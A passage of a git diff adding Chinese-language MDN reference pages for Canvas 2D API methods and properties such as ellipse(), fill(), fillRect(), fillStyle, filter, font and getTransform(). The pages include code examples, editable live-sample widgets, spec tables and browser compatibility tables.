椭圆的旋转角度,以弧度表示(非角度度数)。
+
startAngle
+
将要绘制的起始点角度,从 x 轴测量,以弧度表示(非角度度数)。
+
endAngle
+
椭圆将要绘制的结束点角度,以弧度表示(非角度度数)。
+
anticlockwise {{optional_inline}}
+
{{jsxref("Boolean")}} 选项,如果为 true,逆时针方向绘制椭圆 (逆时针), 反之顺时针方向绘制。
+
+ +

示例

+ +

使用 ellipse 方法

+ +

这是一段绘制椭圆的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.setLineDash([]);
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, 45 * Math.PI/180, 0, 2 * Math.PI); //倾斜45°角
+ctx.stroke();
+ctx.setLineDash([5]);
+ctx.moveTo(0,200);
+ctx.lineTo(200,0);
+ctx.stroke();
+ +

修改下面的代码并在线查看 canvas 的变化(如果椭圆没有绘制,请在兼容性列表中检查你的浏览器是否支持):

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.setLineDash([]);
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, 45 * Math.PI/180, 0, 2 * Math.PI); //倾斜45°角
+ctx.stroke();
+ctx.setLineDash([5]);
+ctx.moveTo(0,200);
+ctx.lineTo(200,0);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.ellipse")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/fill/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/fill/index.html new file mode 100644 index 0000000000..a7dadcff17 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/fill/index.html @@ -0,0 +1,184 @@ +--- +title: CanvasRenderingContext2D.fill() +slug: Web/API/CanvasRenderingContext2D/fill +translation_of: Web/API/CanvasRenderingContext2D/fill +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.fill() 是 Canvas 2D API 根据当前的填充样式,填充当前或已存在的路径的方法。采取非零环绕或者奇偶环绕规则。

+ +

语法

+ +
void ctx.fill();
+void ctx.fill(fillRule);
+void ctx.fill(path, fillRule);
+
+ +

参数

+ +
+
fillRule
+
一种算法,决定点是在路径内还是在路径外。
+ 允许的值: + +
+
path
+
需要填充的{{domxref("Path2D")}} 路径。
+
+ +

示例

+ +

使用 fill 方法

+ +

这是一段简单的代码片段, 使用 fill 方法填充路径。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+ +

修改下面的代码并在线查看 canvas 变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.fill();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(31) }}{{ CompatNo }}{{ CompatVersionUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(31) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/fillrect/index.html new file mode 100644 index 0000000000..ddd97227f0 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/fillrect/index.html @@ -0,0 +1,179 @@ +--- +title: CanvasRenderingContext2D.fillRect() +slug: Web/API/CanvasRenderingContext2D/fillRect +translation_of: Web/API/CanvasRenderingContext2D/fillRect +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.fillRect() 是Canvas 2D API 绘制填充矩形的方法。当前渲染上下文中的fillStyle 属性决定了对这个矩形对的填充样式。
+
+ 这个方法是直接在画布上绘制填充,并不修改当前路径,所以在这个方法后面调用 {{domxref("CanvasRenderingContext2D.fill()", "fill()")}} 或者{{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}方法并不会对这个方法有什么影响。

+ +

语法

+ +
void ctx.fillRect(x, y, width, height);
+
+ +

fillRect()方法绘制一个填充了内容的矩形,这个矩形的开始点(左上点)在(x, y) ,它的宽度和高度分别由width 和 height 确定,填充样式由当前的fillStyle 决定。

+ +

参数

+ +
+
x
+
矩形起始点的 x 轴坐标。
+
y
+
矩形起始点的 y 轴坐标。
+
width
+
矩形的宽度。
+
height
+
矩形的高度。
+
+ +

示例

+ +

一个填充矩形的例子

+ +

这个例子使用fillRect()方法绘制了一个用绿色填充的矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

下面绘制的矩形左上顶点在(20, 10),宽高分别是150和100像素。

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.fillStyle = 'green';
+ctx.fillRect(20, 10, 150, 100);
+ +

结果

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('A_simple_filled_rectangle', 700, 180) }}

+ +

填充整个画布

+ +

下面这个代码片段使用本方法填充了整个画布。这样做通常的目的是在开始绘制其他内容前设置一个背景。为了达到这样的效果,需要让填充的范围和画布的范围相同,需要访问{{HtmlElement("canvas")}}元素的width 和 height 属性。

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.fillRect(0, 0, canvas.width, canvas.height);
+ +

规范描述

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/fillstyle/index.html new file mode 100644 index 0000000000..bf576d7681 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/fillstyle/index.html @@ -0,0 +1,170 @@ +--- +title: CanvasRenderingContext2D.fillStyle +slug: Web/API/CanvasRenderingContext2D/fillStyle +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/fillStyle +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.fillStyle 是Canvas 2D API 使用内部方式描述颜色和样式的属性。默认值是 #000 (黑色)。

+ +

参见  Canvas Tutorial 的 Applying styles and color 章节。

+ +

语法

+ +
ctx.fillStyle = color;
+ctx.fillStyle = gradient;
+ctx.fillStyle = pattern;
+
+ +

选项

+ +
+
color
+
{{domxref("DOMString")}} 字符串,被转换成 CSS {{cssxref("<color>")}} 颜色值.
+
gradient
+
{{domxref("CanvasGradient")}} 对象 (线性渐变或者放射性渐变).
+
pattern
+
{{domxref("CanvasPattern")}} 对象 (可重复图像)。
+
+ +

示例

+ +

使用 fillStyle 属性设置不同的颜色

+ +

这是一段简单的代码片段,使用 fillStyle 属性设置不同的颜色。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看canvas的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

fillStyle 使用 for 循环的例子

+ +

在这个例子中, 我们使用两个 for 循环绘制一个矩形表格,每个单元格都有不同的颜色。 最终的结果图像看起来像屏幕截图,其实没有令人惊叹的事情发生。我们使用两个变量 i 和 j 为每一个单元格生成唯一的RGB颜色,并且只改变红色和绿色的数值。蓝色通道的值是固定不变的。通过修改这些通道,你能生成各种各样的调色板。通过逐步地增加,你能实现类似 Photoshop 的调色板。

+ + + +
var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i<6;i++){
+  for (var j=0;j<6;j++){
+    ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                     Math.floor(255-42.5*j) + ',0)';
+    ctx.fillRect(j*25,i*25,25,25);
+  }
+}
+
+ +

结果看起来像是这样的:

+ +

{{EmbedLiveSample("A_fillStyle_example_with_for_loops", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

+ +

规格描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.fillStyle")}}

+ +
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/filltext/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/filltext/index.html new file mode 100644 index 0000000000..6cbff0639b --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/filltext/index.html @@ -0,0 +1,170 @@ +--- +title: CanvasRenderingContext2D.fillText() +slug: Web/API/CanvasRenderingContext2D/fillText +translation_of: Web/API/CanvasRenderingContext2D/fillText +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.fillText() 是 Canvas 2D API 在 (x, y)位置填充文本的方法。如果选项的第四个参数提供了最大宽度,文本会进行缩放以适应最大宽度。

+ +

参见 {{domxref("CanvasRenderingContext2D.strokeText()")}} 方法对文本进行描边。

+ +

语法

+ +
void ctx.fillText(text, x, y, [maxWidth]);
+
+ +

参数

+ +
+
text
+
使用当前的 {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} 和 {{domxref("CanvasRenderingContext2D.direction","direction")}} 值对文本进行渲染。
+
+ +
+
x
+
文本起点的 x 轴坐标。
+
y
+
文本起点的 y 轴坐标。
+
maxWidth {{optional_inline}}
+
绘制的最大宽度。如果指定了值,并且经过计算字符串的值比最大宽度还要宽,字体为了适应会水平缩放(如果通过水平缩放当前字体,可以进行有效的或者合理可读的处理)或者使用小号的字体。
+
+ +

示例

+ +

使用 fillText 方法

+ +

这是一段使用 fillText 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatIE(9) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/filter/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/filter/index.html new file mode 100644 index 0000000000..00cf5d5b78 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/filter/index.html @@ -0,0 +1,187 @@ +--- +title: CanvasRenderingContext2D.filter +slug: Web/API/CanvasRenderingContext2D/filter +translation_of: Web/API/CanvasRenderingContext2D/filter +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.filter 是Canvas 2D API 提供模糊、灰度等过滤效果的属性 。它类似于 CSS filter 属性,并且接受相同的函数。

+ +

语法

+ +
ctx.filter = "<filter-function1> [<filter-function2] [<filter-functionN]";
+ctx.filter = "none";
+
+ +

Filter 函数

+ +

filter 属性接受{{domxref("DOMString")}}字符串,可以包含一个或多个 filter 函数 。

+ +
+
url(<url>)
+
url() 函数接受一个描述SVG过滤器的XML文件的位置, 并且可以包含一个针对特殊过滤元素的锚点。
+
blur(<length>)
+
length:CSS 长度。 给绘图提供一个高斯模糊。
+
brightness(<percentage>)
+
Percentage:百分比。 给绘图提供一个线性乘法,调节亮度的高低。
+
contrast(<percentage>)
+
Percentage:百分比。 调节图像的对比度。 当数值为 0% 时,图像会完全变黑。当数值为 100% 时,图像没有任何变化。
+
drop-shadow(<offset-x>, <offset-y>, <blur-radius>, <spread-radius>, <color>)
+
给绘图提供阴影。 阴影事实上是在图像下面呈现出模糊的,通过对图像的透明遮罩进行偏移绘制出一种特殊的颜色,组合而成的效果。 这个函数接受5个参数: +
    +
  • <offset-x>: 查看 {{cssxref("<length>")}} 允许的单位。描述阴影的水平距离。
  • +
  • <offset-y>: 查看 {{cssxref("<length>")}} 允许的单位。描述阴影的垂直距离。
  • +
  • <blur-radius>: 数值越大,模糊就越大,从而使阴影范围变得更大颜色变得更浅。不允许为负数。
  • +
  • <spread-radius>: 正数会使阴影扩张变大,负数会使阴影收缩。
  • +
  • <color>: 查看 {{cssxref("<color>")}} 允许的关键字和标识符。
  • +
+
+
grayscale(<percentage>)
+
Percentage:百分比。将图像转换成灰色的图片。 当值为100%时,图像会完全变成灰色。 当值为0%时,图像没有任何变化。
+
hue-rotate(<degree>)
+
Degree:度数。 对图像进行色彩旋转的处理。当值为0度时,图像没有任何变化。
+
invert(<percentage>)
+
Percentage:百分比。反色图像(呈现出照片底片的效果)。当值为100%时,图像会完全反色处理。当值为0%时,图像没有任何变化。
+
opacity(<percentage>)
+
Percentage:百分比。对图像进行透明度的处理。 当值为0%时,图像完全透明。当值为100%时,图像没有任何变化。
+
saturate(<percentage>)
+
对图像进行饱和度的处理。当值为0%时,图像完全不饱和。当值为100%时,图像没有任何变化。
+
sepia(<percentage>)
+
对图像进行深褐色处理(怀旧风格)。 当值为100%时,图像完全变成深褐色。当值为0%时,图像没有任何变化。
+
none
+
没有使用filter。
+
+ +

示例

+ +

使用 filter 属性

+ +

这是一段使用 filter 属性的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.filter = "blur(5px)";
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);
+
+ +

修改下面的代码并在线查看canvas的变化 (确保你的浏览器提供这些特性,查看浏览器兼容性列表):

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ +

当前的规范或草案不包含此内容, 但是正考虑进行标准化。参考 CSS Filter Effects 规范。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{ CompatGeckoDesktop("35") }} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("35") }} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/font/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/font/index.html new file mode 100644 index 0000000000..963c27c32e --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/font/index.html @@ -0,0 +1,141 @@ +--- +title: CanvasRenderingContext2D.font +slug: Web/API/CanvasRenderingContext2D/font +tags: + - API + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/font +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.font 是 Canvas 2D API 描述绘制文字时,当前字体样式的属性。 使用和 CSS font 规范相同的字符串值。

+ +

语法

+ +
ctx.font = value;
+
+ +

选项

+ +
+
value
+
符合CSS {{cssxref("font")}} 语法的{{domxref("DOMString")}} 字符串。默认字体是 10px sans-serif。
+
+ +

示例

+ +

使用自定义字体

+ +

这个例子使用 font 属性设置了不同的字体大小和字体种类。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "bold 48px serif";
+ctx.strokeText("Hello world", 50, 100);
+
+ +

结果

+ + + +

{{EmbedLiveSample('Playable_code', 700, 360)}}

+ +

+ +

使用CSS字体加载API加载字体

+ +

借助{{domxref("FontFace")}} API的帮助,您可以在画布中使用字体之前显式加载字体。

+ +
let f = new FontFace('test', 'url(x)');
+
+f.load().then(function() {
+  // Ready to use the font in a canvas context
+});
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.font")}}

+ +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/getimagedata/index.html new file mode 100644 index 0000000000..1f4d826121 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/getimagedata/index.html @@ -0,0 +1,96 @@ +--- +title: CanvasRenderingContext2D.getImageData() +slug: Web/API/CanvasRenderingContext2D/getImageData +translation_of: Web/API/CanvasRenderingContext2D/getImageData +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.getImageData() 返回一个{{domxref("ImageData")}}对象,用来描述canvas区域隐含的像素数据,这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh。

+ +

语法

+ +
ImageData ctx.getImageData(sx, sy, sw, sh);
+
+ +

参数

+ +
+
sx
+
将要被提取的图像数据矩形区域的左上角 x 坐标。
+
sy
+
将要被提取的图像数据矩形区域的左上角 y 坐标。
+
sw
+
将要被提取的图像数据矩形区域的宽度。
+
sh
+
将要被提取的图像数据矩形区域的高度。
+
+ +

返回值

+ +

一个{{domxref("ImageData")}} 对象,包含canvas给定的矩形图像数据。

+ +

错误抛出

+ +
+
IndexSizeError
+
如果高度或者宽度变量为0,则抛出错误。
+
+ +

示例

+ +

使用 getImageData 方法

+ +

这是一段使用 getImageData 方法的简单的代码片段。 获取更多信息,请看 canvas像素控制 和 {{domxref("ImageData")}} 对象。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+console.log(ctx.getImageData(50, 50, 100, 100));
+// ImageData { width: 100, height: 100, data: Uint8ClampedArray[40000] }
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.getImageData")}}

+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/getlinedash/index.html new file mode 100644 index 0000000000..f96faf7401 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/getlinedash/index.html @@ -0,0 +1,124 @@ +--- +title: CanvasRenderingContext2D.getLineDash() +slug: Web/API/CanvasRenderingContext2D/getLineDash +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/getLineDash +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.getLineDash() 是 Canvas 2D API 获取当前线段样式的方法。

+ +

语法

+ +
ctx.getLineDash();
+
+ +

返回值

+ +

一个 {{jsxref("Array")}}数组。一组描述交替绘制线段和间距(坐标空间单位)长度的数字。如果数组元素的数量是奇数,数组元素会被复制并重复。 例如, 设置线段为 [5, 15, 25] 将会得到以下返回值 [5, 15, 25, 5, 15, 25]。

+ +

示例

+ +

使用 getLineDash 方法

+ +

这是一段使用 getLineDash 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.setLineDash([5, 15]);
+console.log(ctx.getLineDash()); // [5, 15]
+
+ctx.beginPath();
+ctx.moveTo(0,100);
+ctx.lineTo(400, 100);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.setLineDash([5, 15]);
+ctx.beginPath();
+ctx.moveTo(0,100);
+ctx.lineTo(400, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getlinedash", "CanvasRenderingContext2D.getLineDash")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.getLineDash")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/gettransform/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/gettransform/index.html new file mode 100644 index 0000000000..c443b4dc5a --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/gettransform/index.html @@ -0,0 +1,96 @@ +--- +title: CanvasRenderingContext2D.getTransform() +slug: Web/API/CanvasRenderingContext2D/getTransform +translation_of: Web/API/CanvasRenderingContext2D/getTransform +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.getTransform() 方法获取当前被应用到上下文的转换矩阵

+ +

语法

+ +
let storedTransform = ctx.getTransform();
+
+ +

参数

+ +

无.

+ +

返回值

+ +

一个 {{domxref("DOMMatrix")}} 对象

+ +

转换矩阵被这样描述: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]

+ +
+

注意: 返回的对象不是实时的,所以更新它不会影响当前的转换矩阵,同时更新当前的转换矩阵不会影响已经返回的 DOMMatrix.

+
+ +

示例

+ +

在以下例子,我们有两个 {{htmlelement("canvas")}} 元素。我们使用  {{domxref("CanvasRenderingContext2D.setTransform()")}} 设置一个转换到第一个画布,并在上面画一个矩形,然后通过 getTransform() 获取矩阵。

+ +

然后我们将获取到的矩阵作为 DOMMatrix 参数传给 setTransform() 设置到第二个画布,并在上面画一个圆。

+ +

HTML

+ +
<canvas width="240"></canvas>
+<canvas width="240"></canvas>
+
+ +

CSS

+ +
canvas {
+  border: 1px solid black;
+}
+ +

JavaScript

+ +
const canvases = document.querySelectorAll('canvas');
+const ctx1 = canvases[0].getContext('2d');
+const ctx2 = canvases[1].getContext('2d');
+
+ctx1.setTransform(1, .2, .8, 1, 0, 0);
+ctx1.fillRect(25, 25, 50, 50);
+
+let storedTransform = ctx1.getTransform();
+console.log(storedTransform);
+
+ctx2.setTransform(storedTransform);
+ctx2.beginPath();
+ctx2.arc(50, 50, 50, 0, 2 * Math.PI);
+ctx2.fill();
+ +

结果

+ +

